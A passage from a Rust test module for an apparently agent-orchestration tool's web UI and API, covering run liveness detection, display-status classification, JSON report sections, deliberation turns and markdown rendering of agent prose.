14044 value.as_object_mut().unwrap().remove("origin");
14045 }
14046 let dir = f.runs().join(id);
14047 std::fs::create_dir_all(&dir).expect("run dir");
14048 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
14049 };
14050 write(
14051 "20260930-092817-ec34",
14052 Some(crate::run::Origin::from_agent_env(
14053 Some(("4a7b".to_owned(), "chat".to_owned())),
14054 None,
14055 )),
14056 None,
14057 );
14058 write("20260930-092817-0ld1", None, Some(12));
14059
14060 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
14061 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
14062 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
14063
14064 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
14065 assert_eq!(
14066 old["origin_label"], "origin unknown (started before origins were recorded)",
14067 "{old}"
14068 );
14069 assert!(old["origin"].is_null(), "{old}");
14070
14071 let list = f.get("/api/runs").await.json();
14072 let labels: Vec<_> = list
14073 .as_array()
14074 .unwrap()
14075 .iter()
14076 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
14077 .collect();
14078 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
14079 }
14080
14081 #[tokio::test]
14088 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
14089 let f = Fixture::start().await;
14090 let id = "20260922-090000-cccc";
14091 let mut state = RunState::new(
14092 PathBuf::from("/repo/magi"),
14093 "main".to_owned(),
14094 "0123456789abcdef".to_owned(),
14095 "Review only".to_owned(),
14096 Config::default(),
14097 );
14098 state.id = id.to_owned();
14099 state.status = RunStatus::Reviewing;
14100 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14101 state.driver_pid = Some(std::process::id());
14107 state.driver_started_at = Some(
14108 crate::proc::process_started_at(std::process::id())
14109 .expect("this test process's own start time must be queryable"),
14110 );
14111 let dir = f.runs().join(id);
14112 std::fs::create_dir_all(&dir).expect("run dir");
14113 std::fs::write(
14114 dir.join("run.json"),
14115 serde_json::to_string_pretty(&state).expect("serialize run"),
14116 )
14117 .expect("write run.json");
14118
14119 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14120 assert_eq!(detail["live"], "live", "{detail}");
14121 }
14122
14123 #[tokio::test]
14129 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
14130 let f = Fixture::start().await;
14131 let id = "20260922-090100-dddd";
14132 let mut state = RunState::new(
14133 PathBuf::from("/repo/magi"),
14134 "main".to_owned(),
14135 "0123456789abcdef".to_owned(),
14136 "Review only".to_owned(),
14137 Config::default(),
14138 );
14139 state.id = id.to_owned();
14140 state.status = RunStatus::Reviewing;
14141 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
14142 state.driver_pid = Some(std::process::id());
14147 state.driver_started_at = Some("1".to_owned());
14148 let dir = f.runs().join(id);
14149 std::fs::create_dir_all(&dir).expect("run dir");
14150 std::fs::write(
14151 dir.join("run.json"),
14152 serde_json::to_string_pretty(&state).expect("serialize run"),
14153 )
14154 .expect("write run.json");
14155
14156 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14157 assert_eq!(detail["live"], "dead", "{detail}");
14158 }
14159
14160 #[test]
14164 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
14165 let mk = |id: &str, pid: Option<u32>| {
14166 let mut s = RunState::new(
14167 PathBuf::from("/repo/magi"),
14168 "main".to_owned(),
14169 "0123456789abcdef".to_owned(),
14170 "Add a web UI".to_owned(),
14171 Config::default(),
14172 );
14173 s.id = id.to_owned();
14174 s.driver_pid = pid;
14175 s.driver_started_at = Some("1790000000".to_owned());
14176 s
14177 };
14178 let states = vec![
14179 mk("20260902-140502-aaaa", Some(77)),
14180 mk("20260902-140502-bbbb", Some(77)),
14181 mk("20260902-140502-cccc", Some(77)),
14182 mk("20260902-140502-dddd", None),
14183 ];
14184 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
14185 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
14186 let sup: HashMap<String, String> = [(
14187 "20260902-140502-aaaa".to_owned(),
14188 "20260902-140502-cccc".to_owned(),
14189 )]
14190 .into();
14191
14192 let status_calls = std::cell::Cell::new(0);
14193 let identity_calls = std::cell::Cell::new(0);
14194 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
14195 |_| {
14196 status_calls.set(status_calls.get() + 1);
14197 Some(true)
14198 },
14199 |_| {
14200 identity_calls.set(identity_calls.get() + 1);
14201 Some("1790000000".to_owned())
14202 },
14203 ));
14204 let rows = summarize(
14205 states,
14206 &open,
14207 &claimed,
14208 &sup,
14209 |p| probe.borrow_mut().status(p),
14210 |p| probe.borrow_mut().started_at(p),
14211 );
14212
14213 assert_eq!(status_calls.get(), 1, "one pid, one status query");
14214 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
14215 assert_eq!(rows.len(), 4);
14216 assert!(!rows[0].waiting && rows[1].waiting);
14217 assert_eq!(rows[0].live, crate::run::Liveness::Live);
14218 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
14219 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
14220 assert_eq!(rows[1].superseded_by, None);
14221 }
14222
14223 #[test]
14224 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
14225 let mut state = RunState::new(
14226 PathBuf::from("/repo/magi"),
14227 "main".to_owned(),
14228 "0123456789abcdef".to_owned(),
14229 "Review only".to_owned(),
14230 Config::default(),
14231 );
14232 state.id = "20260922-090200-dead".to_owned();
14233 state.status = RunStatus::Reviewing;
14234 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
14235 .expect("serialize list row");
14236 assert_eq!(row["status"], "reviewing");
14237 assert_eq!(row["display_status"], "stale");
14238 assert_eq!(row["live"], "dead", "{row}");
14239 assert!(!row["done"].as_bool().unwrap());
14240 }
14241
14242 #[test]
14243 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
14244 use crate::run::Liveness::{Dead, Live, Unknown};
14245 let mut state = RunState::new(
14246 PathBuf::from("/repo/magi"),
14247 "main".to_owned(),
14248 "abc".to_owned(),
14249 "Review only".to_owned(),
14250 Config::default(),
14251 );
14252 for (status, parked, node, waiting, live, expected) in [
14253 (
14254 RunStatus::Judging,
14255 true,
14256 "github-text",
14257 false,
14258 Dead,
14259 "parked",
14260 ),
14261 (RunStatus::Judging, false, "park", false, Dead, "stale"),
14262 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
14263 (
14264 RunStatus::Judging,
14265 true,
14266 "github-text",
14267 true,
14268 Dead,
14269 "waiting",
14270 ),
14271 (
14272 RunStatus::Judging,
14273 false,
14274 "github-text",
14275 true,
14276 Dead,
14277 "waiting",
14278 ),
14279 (
14280 RunStatus::Judging,
14281 false,
14282 "github-text",
14283 false,
14284 Dead,
14285 "stale",
14286 ),
14287 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
14288 (RunStatus::Judging, true, "park", false, Live, "judging"),
14289 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
14290 (RunStatus::Merged, true, "park", false, Dead, "merged"),
14291 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
14292 (
14293 RunStatus::Blocked,
14294 true,
14295 "github-text",
14296 true,
14297 Dead,
14298 "waiting",
14299 ),
14300 ] {
14301 state.status = status;
14302 state.parked = parked;
14303 state.events.clear();
14304 state.event(
14305 "park",
14306 "an earlier park does not determine the latest state",
14307 );
14308 state.event(node, "message is not used for classification");
14309 let summary = RunSummary::of(&state, waiting, live);
14310 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
14311 assert_eq!(
14312 summary.display_status, expected,
14313 "{status:?}/{node}/{live:?}"
14314 );
14315 assert_eq!(detail.display_status, summary.display_status);
14316 assert_eq!(detail.waiting, summary.waiting);
14317 }
14318 state.status = RunStatus::Judging;
14319 state.parked = false;
14320 state.events.clear();
14321 assert_eq!(run_display_status(&state, false, Dead), "stale");
14322 }
14323
14324 #[tokio::test]
14325 async fn run_display_status_routes_share_the_open_question_store() {
14326 let f = Fixture::start().await;
14327 let id = "20260922-090200-abcd";
14328 write_run(&f.runs(), id, RunStatus::Judging);
14329 let mut state = read_run(&f.runs(), id).unwrap();
14330 state.parked = true;
14331 state.driver_exited = true;
14332 state.event("github-text", "waiting for the owner");
14333 state.save_under(f.home.path()).unwrap();
14334 let store = f.questions();
14335 let mut q = Question::new(
14336 id.to_owned(),
14337 "github-text".to_owned(),
14338 "owner".to_owned(),
14339 "Approve the text?".to_owned(),
14340 String::new(),
14341 Vec::new(),
14342 );
14343 store.put(&mut q).unwrap();
14344 for expected in ["waiting", "parked"] {
14345 let list = f.get("/api/runs").await.json();
14346 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14347 assert_eq!(list[0]["display_status"], expected);
14348 assert_eq!(detail["display_status"], expected);
14349 assert_eq!(detail["waiting"], list[0]["waiting"]);
14350 q.status = ask::QuestionStatus::Answered;
14351 store.put(&mut q).unwrap();
14352 }
14353 }
14354
14355 #[tokio::test]
14356 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
14357 let f = Fixture::start().await;
14358 let id = "20260922-090200-abcd";
14359 write_run(&f.runs(), id, RunStatus::Judging);
14360 let mut state = read_run(&f.runs(), id).unwrap();
14361 state.parked = true;
14362 state.driver_exited = true;
14363 state.event("park", "stopped at a node boundary");
14364 state.save_under(f.home.path()).unwrap();
14365
14366 for expected in ["parked", "stale"] {
14367 let list = f.get("/api/runs").await.json();
14368 let detail = f.get(&format!("/api/runs/{id}")).await.json();
14369 assert_eq!(list[0]["live"], "dead");
14370 assert_eq!(list[0]["display_status"], expected);
14371 assert_eq!(detail["display_status"], expected);
14372 state.parked = false;
14375 state.save_under(f.home.path()).unwrap();
14376 }
14377 }
14378
14379 #[tokio::test]
14380 async fn the_run_list_is_newest_first_and_honours_a_limit() {
14381 let f = Fixture::start().await;
14382 for id in [
14383 "20260902-140501-aaaa",
14384 "20260902-140502-bbbb",
14385 "20260902-140503-cccc",
14386 ] {
14387 write_run(&f.runs(), id, RunStatus::Merged);
14388 }
14389
14390 let all = f.get("/api/runs").await.json();
14391 let capped = f.get("/api/runs?limit=2").await.json();
14392
14393 assert_eq!(all[0]["id"], "20260902-140503-cccc");
14394 assert_eq!(all.as_array().map(Vec::len), Some(3));
14395 assert_eq!(capped.as_array().map(Vec::len), Some(2));
14396 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
14397 }
14398
14399 #[tokio::test]
14400 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
14401 let f = Fixture::start().await;
14402 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
14403
14404 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
14405
14406 assert_eq!(res.status, 200);
14407 assert!(
14408 res.headers
14409 .contains("content-type: text/plain; charset=utf-8"),
14410 "a browser must render it, not download it: {}",
14411 res.headers
14412 );
14413 assert!(
14417 res.body.contains("20260902-140501-a1b2"),
14418 "the report is about the run that was asked for: {}",
14419 res.body
14420 );
14421 }
14422
14423 #[tokio::test]
14424 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
14425 crate::run::pin_test_home();
14427 let f = Fixture::start().await;
14428 let id = "20260902-140501-a1b2";
14429 write_run(&f.runs(), id, RunStatus::Stalled);
14430 let path = f.runs().join(id).join("run.json");
14433 let mut v: serde_json::Value =
14434 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14435 v["tally"] = serde_json::json!({
14436 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14437 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
14438 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
14439 "met_quorum": false, "rankings": 1
14440 });
14441 v["reviews"] = serde_json::json!([{
14442 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
14443 "e2e_deferred": true,
14444 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
14445 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
14446 ]}]
14447 }]);
14448 std::fs::write(&path, v.to_string()).unwrap();
14449 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
14450 std::fs::write(
14451 f.runs().join("20260902-140502-dead").join("run.json"),
14452 "{not json",
14453 )
14454 .unwrap();
14455
14456 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14457
14458 assert_eq!(res.status, 200, "{}", res.body);
14459 assert!(res.headers.contains("content-type: application/json"));
14460 let j = res.json();
14461 assert_eq!(j["schema"], 1);
14462 assert_eq!(j["header"]["id"], id);
14463 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
14464 let kinds: Vec<&str> = j["sections"]
14465 .as_array()
14466 .unwrap()
14467 .iter()
14468 .map(|s| s["kind"].as_str().unwrap())
14469 .collect();
14470 assert_eq!(kinds, ["candidates", "tally", "review"]);
14471 let tally = &j["sections"][1]["tally"];
14472 assert_eq!(
14473 (tally["decided"].clone(), tally["provisional"].clone()),
14474 (false.into(), true.into())
14475 );
14476 let round = &j["sections"][2]["rounds"][0];
14477 assert_eq!(round["e2e"]["state"], "deferred");
14478 assert_eq!(round["findings"][0]["severity"], "major");
14479 assert_eq!(round["findings"][0]["blocking"], true);
14480 assert_eq!(round["findings"][0]["state"], "open");
14481
14482 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
14484
14485 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
14487 assert_ne!(bad.status, 200, "{}", bad.body);
14488 assert_eq!(
14489 bad.status,
14490 f.get("/api/runs/20260902-140502-dead/report").await.status
14491 );
14492 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
14493 assert_eq!(
14494 f.get("/api/runs/20260902-999999-ffff/report.json")
14495 .await
14496 .status,
14497 404
14498 );
14499 }
14500
14501 #[tokio::test]
14502 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
14503 crate::run::pin_test_home();
14504 let f = Fixture::start().await;
14505 let id = "20260902-140503-delib";
14506 write_run(&f.runs(), id, RunStatus::Merged);
14507 let path = f.runs().join(id).join("run.json");
14508 let mut v: serde_json::Value =
14509 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
14510 v["judgements"] = serde_json::json!([
14511 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14512 ]);
14513 v["tally"] = serde_json::json!({
14514 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
14515 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
14516 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
14517 "met_quorum": true, "rankings": 1
14518 });
14519 v["deliberation"] = serde_json::json!([
14520 {
14521 "round": 1,
14522 "turns": [
14523 {
14524 "judge": 1,
14525 "agent": "judge-1",
14526 "body": "I prefer candidate **A** because it has cleaner tests.",
14527 "tentative": "A"
14528 }
14529 ]
14530 },
14531 {
14532 "round": 2,
14533 "turns": [
14534 {
14535 "judge": 1,
14536 "agent": "judge-1",
14537 "body": "Still thinking, no choice yet.",
14538 "tentative": null
14539 }
14540 ]
14541 }
14542 ]);
14543 std::fs::write(&path, v.to_string()).unwrap();
14544
14545 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
14546 assert_eq!(res.status, 200, "{}", res.body);
14547 let j = res.json();
14548 let judging = j["sections"]
14549 .as_array()
14550 .unwrap()
14551 .iter()
14552 .find(|s| s["kind"] == "judging")
14553 .expect("judging section exists");
14554
14555 let delib_lines = judging["deliberation"].as_array().unwrap();
14557 assert_eq!(delib_lines.len(), 2);
14558 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
14559 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
14560
14561 let rounds = judging["rounds"].as_array().unwrap();
14563 assert_eq!(rounds.len(), 2);
14564 let r1_t0 = &rounds[0]["turns"][0];
14565 assert_eq!(r1_t0["judge"], 1);
14566 assert_eq!(r1_t0["agent"], "judge-1");
14567 assert_eq!(r1_t0["tentative"], "A");
14568 assert_eq!(
14569 r1_t0["body"],
14570 "I prefer candidate **A** because it has cleaner tests."
14571 );
14572 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
14573
14574 let r2_t0 = &rounds[1]["turns"][0];
14575 assert_eq!(r2_t0["judge"], 1);
14576 assert_eq!(r2_t0["agent"], "judge-1");
14577 assert!(r2_t0["tentative"].is_null());
14578 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
14579 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
14580
14581 let id_empty = "20260902-140504-nodelib";
14583 write_run(&f.runs(), id_empty, RunStatus::Merged);
14584 let path_empty = f.runs().join(id_empty).join("run.json");
14585 let mut v_empty: serde_json::Value =
14586 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
14587 v_empty["judgements"] = serde_json::json!([
14588 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
14589 ]);
14590 v_empty["deliberation"] = serde_json::json!([]);
14591 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
14592
14593 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
14594 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
14595 let j_empty = res_empty.json();
14596 let judging_empty = j_empty["sections"]
14597 .as_array()
14598 .unwrap()
14599 .iter()
14600 .find(|s| s["kind"] == "judging")
14601 .expect("judging section exists");
14602 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
14603 }
14604
14605 #[tokio::test]
14606 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
14607 let f = Fixture::start().await;
14608
14609 let html = f.get("/").await;
14610 let css = f.get("/app.css").await;
14611 let js = f.get("/app.js").await;
14612
14613 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
14614 assert!(
14615 html.headers
14616 .contains("content-type: text/html; charset=utf-8")
14617 );
14618 assert!(css.headers.contains("content-type: text/css"));
14619 assert!(js.headers.contains("content-type: text/javascript"));
14620 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
14621 }
14622
14623 #[test]
14624 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
14625 let body = |name: &str| {
14626 let at = APP_JS
14627 .find(name)
14628 .unwrap_or_else(|| panic!("{name} missing"));
14629 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14630 };
14631 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
14632 let note = body("function landRoundNote");
14633 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
14634 assert!(note.contains("Land round ${round}"));
14635 let land = body("function renderLand");
14636 let note_at = land
14637 .find("landRoundNote(pr)")
14638 .expect("renderLand uses the note");
14639 assert!(
14640 note_at
14641 < land
14642 .find("roundRail(pr)")
14643 .expect("renderLand uses the rail")
14644 );
14645 }
14646
14647 #[test]
14648 fn the_runs_page_redesign_keeps_its_guards() {
14649 let body = |name: &str| {
14650 let at = APP_JS
14651 .find(name)
14652 .unwrap_or_else(|| panic!("{name} missing"));
14653 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
14654 };
14655 let land = body("function renderLand");
14657 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
14658 assert!(
14659 !land.contains("box.append("),
14660 "renderLand must use append()"
14661 );
14662 assert!(land.contains("append(box, ["));
14663 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
14665 assert!(
14666 body("function applyRoute")
14667 .contains("route.name !== state.route.name || route.id !== state.route.id")
14668 );
14669 assert!(!APP_JS.contains("adviseConvergeDiagram"));
14671 assert!(!INDEX_HTML.contains("advise-converge"));
14672 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
14673 assert!(APP_JS.contains("provisional"));
14674 for id in [
14675 "run-tab-overview",
14676 "run-tab-timeline",
14677 "run-tab-report",
14678 "run-report",
14679 "runs-scope",
14680 ] {
14681 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
14682 }
14683 assert!(!INDEX_HTML.contains("runs-tree"));
14684 assert!(!INDEX_HTML.contains("run-raw-panel"));
14685 assert!(APP_JS.contains("resume"));
14687 assert!(APP_JS.contains("unreadable"));
14689 }
14690
14691 #[test]
14692 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
14693 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
14694 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
14695 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
14696 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
14697 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
14698 assert!(APP_JS.contains("unreadable` : null"));
14700 }
14701
14702 #[test]
14703 fn blocked_run_detail_exposes_the_failed_gate_reason() {
14704 let mut state = RunState::new(
14705 "/repo".into(),
14706 "main".into(),
14707 "abc".into(),
14708 "task".into(),
14709 crate::config::Config::default(),
14710 );
14711 state.status = RunStatus::Blocked;
14712 state.gate_ran = true;
14713 state.gate.push(crate::run::CommandOutcome {
14714 command: "cargo make check".into(),
14715 code: Some(1),
14716 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
14717 duration_ms: 0,
14718 resource_blocked: false,
14719 });
14720 let view = RunDetailView::of(
14721 state,
14722 false,
14723 crate::run::Liveness::Unknown,
14724 None,
14725 None,
14726 None,
14727 );
14728 let value = serde_json::to_value(view).unwrap();
14729 assert_eq!(
14730 value["stop_reason"],
14731 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
14732 );
14733 }
14734
14735 #[test]
14736 fn the_run_detail_payload_says_whether_the_run_is_done() {
14737 for (status, done) in [
14739 (RunStatus::Superseded, true),
14740 (RunStatus::Blocked, true),
14741 (RunStatus::Landing, false),
14742 ] {
14743 let mut state = RunState::new(
14744 std::path::PathBuf::from("/repo"),
14745 "main".to_owned(),
14746 "abc".to_owned(),
14747 "x".to_owned(),
14748 crate::config::Config::default(),
14749 );
14750 state.status = status;
14751 let v = serde_json::to_value(RunDetailView::of(
14752 state,
14753 false,
14754 crate::run::Liveness::Unknown,
14755 None,
14756 None,
14757 None,
14758 ))
14759 .unwrap();
14760 assert_eq!(v["done"], done, "{status:?}");
14761 }
14762 }
14763
14764 fn has_strong(nodes: &[md::Node]) -> bool {
14766 serde_json::to_string(nodes).unwrap().contains("strong")
14767 }
14768
14769 #[test]
14770 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
14771 let mut state = RunState::new(
14772 std::path::PathBuf::from("/repo"),
14773 "main".to_owned(),
14774 "abc".to_owned(),
14775 "x".to_owned(),
14776 crate::config::Config::default(),
14777 );
14778 let proposal = |approach: &str| {
14779 serde_json::json!({
14780 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
14781 })
14782 };
14783 state.advice = Some(
14784 serde_json::from_value(serde_json::json!({
14785 "records": [
14786 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
14787 "proposal": proposal("do **this**")},
14788 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
14789 ],
14790 "synthesis": "- one\n- **two**\n\n`code`",
14791 }))
14792 .unwrap(),
14793 );
14794 state.candidates = serde_json::from_value(serde_json::json!([
14795 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
14796 "summary": "did **it**"},
14797 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
14798 ]))
14799 .unwrap();
14800 state.reviews = serde_json::from_value(serde_json::json!([{
14803 "round": 1, "head": "h",
14804 "reviews": [{
14805 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
14806 "findings": [
14807 {"severity": "nit", "title": "t1", "detail": "plain nit"},
14808 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
14809 ],
14810 }],
14811 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
14812 "fix": {"agent": "a", "notes": "fixed **it**",
14813 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
14814 }, {"round": 2, "head": "h2", "reviews": []}]))
14815 .unwrap();
14816
14817 let v = serde_json::to_value(RunDetailView::of(
14818 state,
14819 false,
14820 crate::run::Liveness::Unknown,
14821 None,
14822 None,
14823 None,
14824 ))
14825 .unwrap();
14826
14827 let strong = |p: &str| {
14828 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
14829 assert!(n.to_string().contains("strong"), "{p}: {n}");
14830 };
14831 strong("/advice_md/synthesis");
14832 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
14833 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
14834 strong("/advice_md/approaches/0");
14835 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
14836 strong("/candidate_summaries_md/0");
14837 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
14838 strong("/reviews_md/0/reviewers/0/summary");
14839 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
14840 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
14841 assert!(f[1].to_string().contains("strong"));
14842 strong("/reviews_md/0/reconsideration/0");
14843 strong("/reviews_md/0/fix/notes");
14844 strong("/reviews_md/0/fix/rejected/0");
14845 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
14846 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
14847 assert_eq!(v["candidates"][0]["summary"], "did **it**");
14849 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
14850 }
14851
14852 #[test]
14853 fn a_run_without_advice_has_no_advice_md() {
14854 let state = RunState::new(
14855 std::path::PathBuf::from("/repo"),
14856 "main".to_owned(),
14857 "abc".to_owned(),
14858 "x".to_owned(),
14859 crate::config::Config::default(),
14860 );
14861 let p = run_prose_md(&state);
14862 assert!(p.advice_md.is_none());
14863 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
14864 }
14865
14866 #[test]
14867 fn a_question_view_carries_markdown_for_each_thread_turn() {
14868 let home = TempDir::new().unwrap();
14869 let store = ask::Questions::at(home.path().join("questions"));
14870 let mut q = Question::new(
14871 "run".to_owned(),
14872 "implement".to_owned(),
14873 "impl-A".to_owned(),
14874 "which?".to_owned(),
14875 String::new(),
14876 Vec::new(),
14877 );
14878 q.say("plain words").unwrap();
14879 q.reply("use **this**", Vec::new()).unwrap();
14880 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14881 let bodies = &v["thread_bodies_md"];
14882 assert_eq!(bodies.as_array().unwrap().len(), 2);
14883 assert!(!bodies[0].to_string().contains("strong"));
14884 assert!(bodies[1].to_string().contains("strong"));
14885 }
14886
14887 #[test]
14888 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
14889 let home = TempDir::new().unwrap();
14890 let store = ask::Questions::at(home.path().join("questions"));
14891 let mut q = Question::new(
14892 "run".to_owned(),
14893 "conduct".to_owned(),
14894 "conduct".to_owned(),
14895 "which?".to_owned(),
14896 String::new(),
14897 Vec::new(),
14898 );
14899 q.say("plain words").unwrap();
14900 q.thread.push(ask::Turn {
14901 who: ask::Who::Agent,
14902 body: "Settled as `merge`".to_owned(),
14903 at: jiff::Timestamp::now(),
14904 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
14905 });
14906 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
14907 let notes = &v["thread_notes_md"];
14908 assert_eq!(notes.as_array().unwrap().len(), 2);
14909 assert!(notes[0].is_null());
14910 let text = notes[1].to_string();
14911 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
14912 assert!(APP_JS.contains("ask-turn-note"));
14913 }
14914
14915 #[test]
14916 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
14917 assert!(APP_JS.contains("function landView(run, raw) {"));
14921 assert!(
14922 APP_JS.contains(
14923 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
14924 )
14925 );
14926 assert!(APP_JS.contains("const pr = landView(run, raw);"));
14927 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
14928 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
14929 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
14930 }
14931
14932 #[test]
14933 fn live_runs_are_never_hidden_or_folded_as_superseded() {
14934 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
14935 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
14936 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
14937 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
14938 }
14939
14940 #[test]
14941 fn review_rounds_label_a_distinct_verified_head() {
14942 assert!(APP_JS.contains("round.verified_head"));
14943 assert!(APP_JS.contains("verified HEAD"));
14944 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
14945 }
14946
14947 #[test]
14948 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
14949 assert!(APP_JS.contains("blocked: { glyph:"));
14953 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
14954
14955 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
14959 assert!(
14960 APP_JS.contains(
14961 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
14962 ),
